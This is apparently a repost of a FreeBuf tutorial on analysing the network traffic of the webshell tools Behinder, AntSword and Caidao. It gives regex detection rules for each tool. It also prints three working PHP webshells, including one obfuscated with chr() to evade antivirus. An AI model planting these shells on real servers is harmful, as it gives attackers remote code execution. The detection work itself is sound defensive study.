网易首页 > 网易号 > 正文 申请入驻

Webshell连接工具流量分析(上)

0
分享至

文章目录

  • webshell连接工具流量分析
  • 冰蝎(Behinder)
  • 蚁剑(AntSword)

webshell连接工具流量分析

本文章适合刚开始学习流量分析的朋友,大佬就可以绕过了,写的比较基础。我也是一个小白,总结一下对于webshell连接工具的使用技巧和一些规则,也分享一些自己觉得好用的方法给大家,欢迎大家帮我补充,有什么好用的技巧也可以分享一下,大家共同进步。本篇大部分内容都是自己总结的,如果有什么不对的或者不好的地方希望大家不要喷我,但是欢迎帮我指正。最后希望大家可以关注我的专栏。有任何疑问可以私信我。

最近接到个任务,对现在比较热门的webshell连接工具,菜刀、冰蝎、蚁剑,进行一下流量分析。

冰蝎(Behinder)

什么是冰蝎?

顾名思义,冰蝎是一种来自于东南亚的致命毒蝎,它尾部释放的毒液具有致幻作用,同时也可以入药,而且。。。嗯,编不下去了。回到正题。

菜刀作为老一代wenshell连接工具,它的流量特征十分明显,现如今的安全设备基本上都可以识别到菜刀的流量。现在的菜刀基本都是在安全教学中使用,现在加密webshell已经走进了大众的视野,使用这种工具管理webshell,从连接到各种操作所有流量都是加密的,很多传统的waf,webhids很难检测到。这给企业带来了新的挑战。而冰蝎就是其中的佼佼者,它是一款动态二进制加密网站管理客户端,会给流量分析应用带来很大的困扰,接下来将会对这些工具的流量特征、检测方案进行简单探讨。

这个是冰蝎的专属webshell

<?php session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key); $arr=explode('|',$decrptContent); $func=$arr[0]; $params=$arr[1]; $func($params); } ?>

我们来看一下官方给出的处理过程:

首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。

客户端将源代码,如assert|eval(“phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval(“phpinfo();”)。

服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval(“phpinfo();”)。

以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert(“eval(\”phpinfo;\”)”) 。

在测试服务器上放上我们冰蝎的专属webshell。把代理挂到burp上。

这个是冰蝎的连接请求也就是首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。其实针对这个过程我们可以写一个检测规则。

Behinder-connect-server 第一组规则(注意这一组规则必须结合使用,不然误报非常严重) ['request_url']: \.(php|jsp|asp|jspx|asa)\?(\w){1,15}=\d{2,3}$
['response_body']: [a-z0-9]{16}$

这一组规则实际测试的效果很不错,误报也很少。有图为证,这个是实时抓取到的攻击特征流量。

冰蝎连接后的特征流量如下图:

结合连接时和连接后的特征流量。可以总结如下共同特征

冰蝎流量共同特征 1.Cookie: PHPSESSID=gkomf5c9n7psaok9gul7r41jd3; path=/
2.Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
3.CAAhauBRkRWLw5WtdsJlyWv8COGLQazBUsgfx/9tKw1i5h8/lOYGNaDuoGX/dlCsq6neISlaRj2lrupZJm6IN6FngHEImmUhvCe2vzcd/CSJD711SvbS448PHdJ

对于共同特征我们并没有选取user-agent,因为这个特征攻击者很容易修改掉,从而产生大量误报。

Behinder-webshell 第二组规则 ['Cookie']: PHPSESSID=^[A-Za-z0-9]+$; path=/
['Accept']:text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
['request_body']:^[A-Za-z0-9/+=]+$
['response_body']:^[A-Za-z0-9/+=]+$
['response_code']: 200

包含匹配响应码的匹配主要时为了降低误报,同时包含匹配可以大大提高规则命中的效率。其实对于网络中攻击流量,安全人员更关心的是攻击成功的部分,而攻击尝试同样也值得我们注意。

蚁剑(AntSword)

什么是蚁剑?

难道是蚂蚁在月下独舞尚方宝剑?非也非也!

我们来看看官方介绍:

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!

同样的蚁剑也支持代理功能,我们还是将其代理到burp中便于进行流量分析。

我在测试中使用的这个webshell很经典,曾经号称可以绕过各大杀软。

testlele1.php

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_(); ?>

这一组规则是蚁剑在连接服务器端的webshell时产生的

AntSword-connect-server ['request_url']: ini_set\(.*display_errors
['response_code']: 200

base64混淆流量

chr混淆流量

chr16混淆流量

rot13混淆流量

菜刀(caidao)

什么是菜刀?

这里并不是我们平时切菜用的菜刀,如果您需要切菜用的菜刀请到某宝某东某多购买。

中国菜刀是一款c/s型的webshell管理工具,它不像传统的asp恶意脚本或php恶意脚本上传到网站上可以直接打开,它有自己的服务端程序,但是这个服务端程序却极小,只有一句代码,因此保证了webshell的隐蔽性,并且它实现的功能也是非常强大的。作者老兵,一个朴实,低调的技术牛人。

注意:菜刀内部是没有设置代理的功能的,这里我们需要客户端的流量分析工具,这里我推荐大家使用proxifier或者httpanalyzerstd。下边就是它们的界面图。

proxifier

httpanalyzerstd

这也是一个很经典的webshell

<?php array_map("ass\x65rt",(array)$_REQUEST['door']);?>

三个版本菜刀的连接流量以及进行操作的流量

11版本的菜刀流量

11版本菜刀规则总结 ['request_body']: eval.*QGluaV9zZXQo
['response_code']: 200
['response_body']: ->\|((.*\n)+|.*)\|<-

14版本的菜刀流量

14版本菜刀规则总结 ['request_body']: $xx.*chr\(.*QGluaV9zZXQo
['response_code']: 200
['response_body']: ->\|((.*\n)+|.*)\|<-

16版本的菜刀流量

16版本菜刀规则总结 ['request_body']: array_map.*QGluaV9zZXQo
['response_code']: 200
['response_body']: ^X@Y((.*\n)+|.*)X@Y$

可以看到三个版本的菜刀都有这一串字符QGluaV9zZXQo,解码后的内容是不是有些似曾相识,我们在对蚁剑连接服务器wenshell的流量进行分析时也见到过这一串字符,其实不止这么短,但是对规则而言已经足够了。蚁剑的核心源代码有很多都是借鉴菜刀的,这也说明宝刀虽老,但是精神长存啊!

专栏

更多精彩#&nbspwebshell# 中国菜刀# 冰蝎# 流量分析# 蚁剑

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
一路走好!香港著名填词人逝世終年60歲,曾为张国荣,郑秀文填词

一路走好!香港著名填词人逝世終年60歲,曾为张国荣,郑秀文填词

粤睇先生
2026-05-07 23:56:37
随着郑钦文2-0挑落种子+狂揽33万奖金,赛后传来了5个好消息

随着郑钦文2-0挑落种子+狂揽33万奖金,赛后传来了5个好消息

林子说事
2026-05-07 19:37:57
浏阳烟花厂爆炸涉事企业多次被查出隐患、违规行为反复出现

浏阳烟花厂爆炸涉事企业多次被查出隐患、违规行为反复出现

极目新闻
2026-05-08 09:12:51
8日世乒赛:周启豪不上,王楚钦发文,林诗栋迎挑战,直播有变

8日世乒赛:周启豪不上,王楚钦发文,林诗栋迎挑战,直播有变

老嗮说体育
2026-05-08 07:32:59
毒枭留下的河马,有救了?

毒枭留下的河马,有救了?

中国新闻周刊
2026-05-08 07:36:12
菲律宾万万想不到!精心安排在"仁爱礁"的破船 ,却助力了中国

菲律宾万万想不到!精心安排在"仁爱礁"的破船 ,却助力了中国

泠泠说史
2026-04-11 20:01:18
曝蘑菇头闰土退出陈翔六点半后续!知名导演透露细节,已洽谈合作

曝蘑菇头闰土退出陈翔六点半后续!知名导演透露细节,已洽谈合作

裕丰娱间说
2026-05-07 22:05:05
伊朗公布打击美军舰视频,导弹上贴着阵亡士兵照片,写着“波斯湾是美军墓地”!特朗普:只是小打小闹,全都防住了

伊朗公布打击美军舰视频,导弹上贴着阵亡士兵照片,写着“波斯湾是美军墓地”!特朗普:只是小打小闹,全都防住了

每日经济新闻
2026-05-08 14:16:29
字节旗下剪映产品负责人张琪智离职创业

字节旗下剪映产品负责人张琪智离职创业

三言科技
2026-05-08 09:32:13
岳阳一摩托车斑马线上撞人致2死2伤,事发路段限速50,司法鉴定肇事车辆时速超过120

岳阳一摩托车斑马线上撞人致2死2伤,事发路段限速50,司法鉴定肇事车辆时速超过120

极目新闻
2026-05-08 10:57:32
美3艘军舰成功驶出海峡、伊朗没拦住,川普称不签协议就继续打

美3艘军舰成功驶出海峡、伊朗没拦住,川普称不签协议就继续打

邵旭峰域
2026-05-08 10:02:59
毛主席忙工作,女演员田伶在屋内大喊:主席出来,有人带好吃的了

毛主席忙工作,女演员田伶在屋内大喊:主席出来,有人带好吃的了

大运河时空
2026-05-07 12:20:03
五一各地旅游收入排名,河南381亿第二,北京没进前五,第一是谁

五一各地旅游收入排名,河南381亿第二,北京没进前五,第一是谁

丁丁鲤史纪
2026-05-07 14:04:42
终于落幕!全红婵网暴风波结束,官宣全面退赛,内情信息量巨大,郭晶晶早有提醒

终于落幕!全红婵网暴风波结束,官宣全面退赛,内情信息量巨大,郭晶晶早有提醒

草莓解说体育
2026-05-08 14:09:10
刘楚恬:2岁出道年入百万,因长相甜美被禁止整容,如今长什么样

刘楚恬:2岁出道年入百万,因长相甜美被禁止整容,如今长什么样

蹲坑看世界
2026-05-07 15:09:16
迪亚洛+阿立兹+琼斯?广东队外援或全面升级,保送杜锋躺进总决赛

迪亚洛+阿立兹+琼斯?广东队外援或全面升级,保送杜锋躺进总决赛

绯雨儿
2026-05-08 13:22:59
不敢相信!一个落选秀,首次打季后赛,三分命中率58%

不敢相信!一个落选秀,首次打季后赛,三分命中率58%

球毛鬼胎
2026-05-08 13:06:01
“出租车司机狂喷打车学生4分钟”,太原通报:顶格处罚

“出租车司机狂喷打车学生4分钟”,太原通报:顶格处罚

观察者网
2026-05-08 12:20:07
空腹抽血,喝水算不算破坏?很多人意外!检验科医生权威解答

空腹抽血,喝水算不算破坏?很多人意外!检验科医生权威解答

环球网资讯
2026-05-06 13:46:09
男子甲醇中毒失明 向白酒提供者索赔123万 法院驳回:其只饮用了不到2杯 饮用超10斤才能达最低中毒剂量

男子甲醇中毒失明 向白酒提供者索赔123万 法院驳回:其只饮用了不到2杯 饮用超10斤才能达最低中毒剂量

闪电新闻
2026-05-07 16:26:17
2026-05-08 15:51:00
FreeBuf
FreeBuf
互联网安全新媒体
5548文章数 1757关注度
往期回顾 全部

科技要闻

SK海力士平均奖金600万 工服成相亲神器

头条要闻

向导掐人中救醒高反昏迷女子反遭掌掴 女子否认"装晕"

头条要闻

向导掐人中救醒高反昏迷女子反遭掌掴 女子否认"装晕"

体育要闻

他把首胜让给队友,然后用一年时间还清账单

娱乐要闻

古天乐被曝隐婚生子,新娘竟是她

财经要闻

一觉醒来,美伊又打起来了

汽车要闻

智能双舱大五座SUV 乐道L80将于5月15日正式上市

态度原创

时尚
健康
房产
旅游
本地

海魂衫搭配白色,更解暑!

干细胞治烧烫伤面临这些“瓶颈”

房产要闻

豪掷6.8亿拿地!何猷君大手笔投资三亚!

旅游要闻

枣庄山亭初夏草木葱茏 山花盛放迎客来

本地新闻

用苏绣的方式,打开江西婺源

无障碍浏览 进入关怀版